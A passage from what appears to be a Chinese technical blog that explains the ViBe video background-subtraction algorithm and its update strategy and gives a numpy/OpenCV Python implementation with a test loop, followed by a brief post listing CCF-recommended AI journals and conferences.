像素的像素值,图中的$p1$到$p6$都是$x$像素的样本集中的值。那图中的横坐标C1和纵坐标C2是什么呢?我们假定我们处理的图像每个像素是RGB格式的,即一个像素值由R,G,B三个值表示,那么图中的坐标其实还隐藏了C3,即C1,C2,C3表示的正是三个通道值,如果是灰度图的话下面的图就要画成一维一条直线了。接下来我们根据预先设定的半径R统计以当前像素点为中心的圆形区域$S_R(p_t{x})$(实际对应到RGB空间中为球形区域)中包含的该像素点的样本集中的样本的数量,这里记为#。在距$p_t(x)$值半径R距离范围内的样本值有$p_2,p_4$,在半径R范围内的样本值总数计为#,那么下图#=2。让后将该值与预先设定的阈值#min(论文中给出的值是2)进行对比,当#<#min的值时,x这个像素就被标记为前景像素,否则就将其标记为背景像素,依次处理所有像素,就能得出前景图像了1.5模型的更新策略即使已经建立起了背景模型,也应该对背景模型进行不断的更新,这样才能使得背景模型能够适应背景的不断变化(如光照变化,背景物体变更等)。A. 普通更新策略对于其他的背景提取算法,背景模型有两种不同的更新策略:保守更新策略:前景点永远不会用来填充模型这样会引起死锁,产生Ghost区域。比如初始化的时候如果一块静止的区域被错误的检测为运动的,那么在这种策略下它永远会被当做运动的物体来对待;Blind策略:前景和背景都可以用来更新背景模型;对死锁不敏感,但这样的缺点在于,缓慢移动的物体会融入到背景中,无法检测出来;B. ViBe算法更新策略ViBe算法中,使用的更新策略是:保守更新策略 + 前景点计数法 + 随机子采样。保守更新策略:前景点永远不会用来填充模型前景点计数法:对像素点进行统计,如果某个像素点连续N次被检测为前景,则将其更新为背景点;随机子采样:在每一个新的视频帧中都去更新背景模型中的每一个像素点的样本值是没有必要的,当一个像素点被分类为背景点时,它有1/φ的概率去更新背景模型。这就决定了ViBe算法的更新策略的其他属性:无记忆更新策略:每次确定需要更新像素点的背景模型时,以新的像素值随机取代该像素点样本集的一个样本值;时间取样更新策略:并非每处理一帧数据,都需要更新处理,而是按一定的更新率更新背景模型;当一个像素点被判定为背景时,它有1/φ的概率更新背景模型;φ是时间采样因子,一般取值为16;空间邻域更新策略:针对需要更新像素点,在该像素点的邻域中随机选择一个像素点,以新选择的像素点更新被选中的背景模型;C. ViBe算法具体更新的方法:每个背景点都有1/φ的概率更新该像素点的模型样本值;有1/φ的概率去更新该像素点邻居点的模型样本值;前景点计数达到临界值时,将其变为背景,并有1/ φ的概率去更新自己的模型样本值。2.算法实现import numpy as np import cv2 class ViBe: ''' ViBe运动检测,分割背景和前景运动图像 ''' def __init__(self,num_sam=20,min_match=2,radiu=20,rand_sam=16): self.defaultNbSamples = num_sam #每个像素的样本集数量,默认20个 self.defaultReqMatches = min_match #前景像素匹配数量,如果超过此值,则认为是背景像素 self.defaultRadius = radiu #匹配半径,即在该半径内则认为是匹配像素 self.defaultSubsamplingFactor = rand_sam #随机数因子,如果检测为背景,每个像素有1/defaultSubsamplingFactor几率更新样本集和领域样本集 self.background = 0 self.foreground = 255 def __buildNeighborArray(self,img): ''' 构建一副图像中每个像素的邻域数组 参数:输入灰度图像 返回值:每个像素9邻域数组,保存到self.samples中 ''' height,width=img.shape self.samples=np.zeros((self.defaultNbSamples,height,width),dtype=np.uint8) #生成随机偏移数组,用于计算随机选择的邻域坐标 ramoff_xy=np.random.randint(-1,2,size=(2,self.defaultNbSamples,height,width)) #ramoff_x=np.random.randint(-1,2,size=(self.defaultNbSamples,2,height,width)) #xr_=np.zeros((height,width)) xr_=np.tile(np.arange(width),(height,1)) #yr_=np.zeros((height,width)) yr_=np.tile(np.arange(height),(width,1)).T xyr_=np.zeros((2,self.defaultNbSamples,height,width)) for i in range(self.defaultNbSamples): xyr_[1,i]=xr_ xyr_[0,i]=yr_ xyr_=xyr_+ramoff_xy xyr_[xyr_<0]=0 tpr_=xyr_[1,:,:,-1] tpr_[tpr_>=width]=width-1 tpb_=xyr_[0,:,-1,:] tpb_[tpb_>=height]=height-1 xyr_[0,:,-1,:]=tpb_ xyr_[1,:,:,-1]=tpr_ #xyr=np.transpose(xyr_,(2,3,1,0)) xyr=xyr_.astype(int) self.samples=img[xyr[0,:,:,:],xyr[1,:,:,:]] def ProcessFirstFrame(self,img): ''' 处理视频的第一帧 1、初始化每个像素的样本集矩阵 2、初始化前景矩阵的mask 3、初始化前景像素的检测次数矩阵 参数: img: 传入的numpy图像素组,要求灰度图像 返回值: 每个像素的样本集numpy数组 ''' self.__buildNeighborArray(img) self.fgCount=np.zeros(img.shape) #每个像素被检测为前景的次数 self.fgMask=np.zeros(img.shape) #保存前景像素 def Update(self,img): ''' 处理每帧视频,更新运动前景,并更新样本集。该函数是本类的主函数 输入:灰度图像 ''' height,width=img.shape #计算当前像素值与样本库中值之差小于阀值范围RADIUS的个数,采用numpy的广播方法 dist=np.abs((self.samples.astype(float)-img.astype(float)).astype(int)) dist[dist<self.defaultRadius]=1 dist[dist>=self.defaultRadius]=0 matches=np.sum(dist,axis=0) #如果大于匹配数量阀值,则是背景,matches值False,否则为前景,值True matches=matches<self.defaultReqMatches self.fgMask[matches]=self.foreground self.fgMask[~matches]=self.background #前景像素计数+1,背景像素的计数设置为0 self.fgCount[matches]=self.fgCount[matches]+1 self.fgCount[~matches]=0 #如果某个像素连续50次被检测为前景,则认为一块静止区域被误判为运动,将其更新为背景点 fakeFG=self.fgCount>50 matches[fakeFG]=False #此处是该更新函数的关键 #更新背景像素的样本集,分两个步骤 #1、每个背景像素有1/self.defaultSubsamplingFactor几率更新自己的样本集 ##更新样本集方式为随机选取该像素样本集中的一个元素,更新为当前像素的值 #2、每个背景像素有1/self.defaultSubsamplingFactor几率更新邻域的样本集 ##更新邻域样本集方式为随机选取一个邻域点,并在该邻域点的样本集中随机选择一个更新为当前像素值 #更新自己样本集 upfactor=np.random.randint(self.defaultSubsamplingFactor,size=img.shape) #生成每个像素的更新几率 upfactor[matches]=100 #前景像素设置为100,其实可以是任何非零值,表示前景像素不需要更新样本集 upSelfSamplesInd=np.where(upfactor==0) #满足更新自己样本集像素的索引 upSelfSamplesPosition=np.random.randint(self.defaultNbSamples,size=upSelfSamplesInd[0].shape) #生成随机更新自己样本集的的索引 samInd=(upSelfSamplesPosition,upSelfSamplesInd[0],upSelfSamplesInd[1]) self.samples[samInd]=img[upSelfSamplesInd] #更新自己样本集中的一个样本为本次图像中对应像素值 #更新邻域样本集 upfactor=np.random.randint(self.defaultSubsamplingFactor,size=img.shape) #生成每个像素的更新几率 upfactor[matches]=100 #前景像素设置为100,其实可以是任何非零值,表示前景像素不需要更新样本集 upNbSamplesInd=np.where(upfactor==0) #满足更新邻域样本集背景像素的索引 nbnums=upNbSamplesInd[0].shape[0] ramNbOffset=np.random.randint(-1,2,size=(2,nbnums)) #分别是X和Y坐标的偏移 nbXY=np.stack(upNbSamplesInd) nbXY+=ramNbOffset nbXY[nbXY<0]=0 nbXY[0,nbXY[0,:]>=height]=height-1 nbXY[1,nbXY[1,:]>=width]=width-1 nbSPos=np.random.randint(self.defaultNbSamples,size=nbnums) nbSamInd=(nbSPos,nbXY[0],nbXY[1]) self.samples[nbSamInd]=img[upNbSamplesInd] def getFGMask(self): ''' 返回前景mask ''' return self.fgMask调用测试import matplotlib.pyplot as plt # 使用opencv加载目标视频 video_path = "./test.mp4" capture = cv2.VideoCapture(video_path) # 实例化ViBe模型 vibe=ViBe() # 第一帧标志 flag_first_frame = True while True: # 逐一读取视频帧 ret, frame = capture.read() if not ret: break # 将视频帧转为灰度图 gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) # 如果是第一帧,则用于初始化背景模型 if flag_first_frame: vibe.ProcessFirstFrame(gray) flag_first_frame = False continue # 否则更新背景模型 vibe.Update(gray) # 获取前景并转为uint8类型 segMat=vibe.getFGMask() segMat = segMat.astype(np.uint8) # 拼接出显示图片 img_show = np.hstack((frame,cv2.cvtColor(segMat,cv2.COLOR_GRAY2BGR))) # 缩放到原来的二分之一并显示 x, y = img_show.shape[0:2] img_show = cv2.resize(img_show, (int(y / 2), int(x / 2))) cv2.imshow('vibe',img_show) if cv2.waitKey(50)&0xFF==ord("q"): break # 释放资源 capture.release() cv2.destroyAllWindows()参考资料《O. Barnich and M. Van Droogenbroeck. ViBe: a powerful random technique to estimate the background in video sequences.》ViBe背景建模算法ViBe:基于Python实现的加速版(2019.10)背景提取算法——帧间差分法、背景差分法、ViBe算法、ViBe+算法
2021年12月07日
1,124 阅读
0 评论
0 点赞
2021-12-07
CCF推荐学术刊物目录-人工智能
0.完整版pdf中国计算机学会推荐国际学术会议和期刊目录-2019中国计算机学会(CCF)推荐中文科技期刊目录-20191.国际期刊A类B类C类2.国际会议A类B类C类3.中文A类B类C类参考资料中国计算机学会推荐中文科技期刊目录(人工智能)中国计算机学会推荐国际学术刊物(人工智能)
2021年12月07日
738 阅读
0 评论
0 点赞
1
...
14
15
16
...
24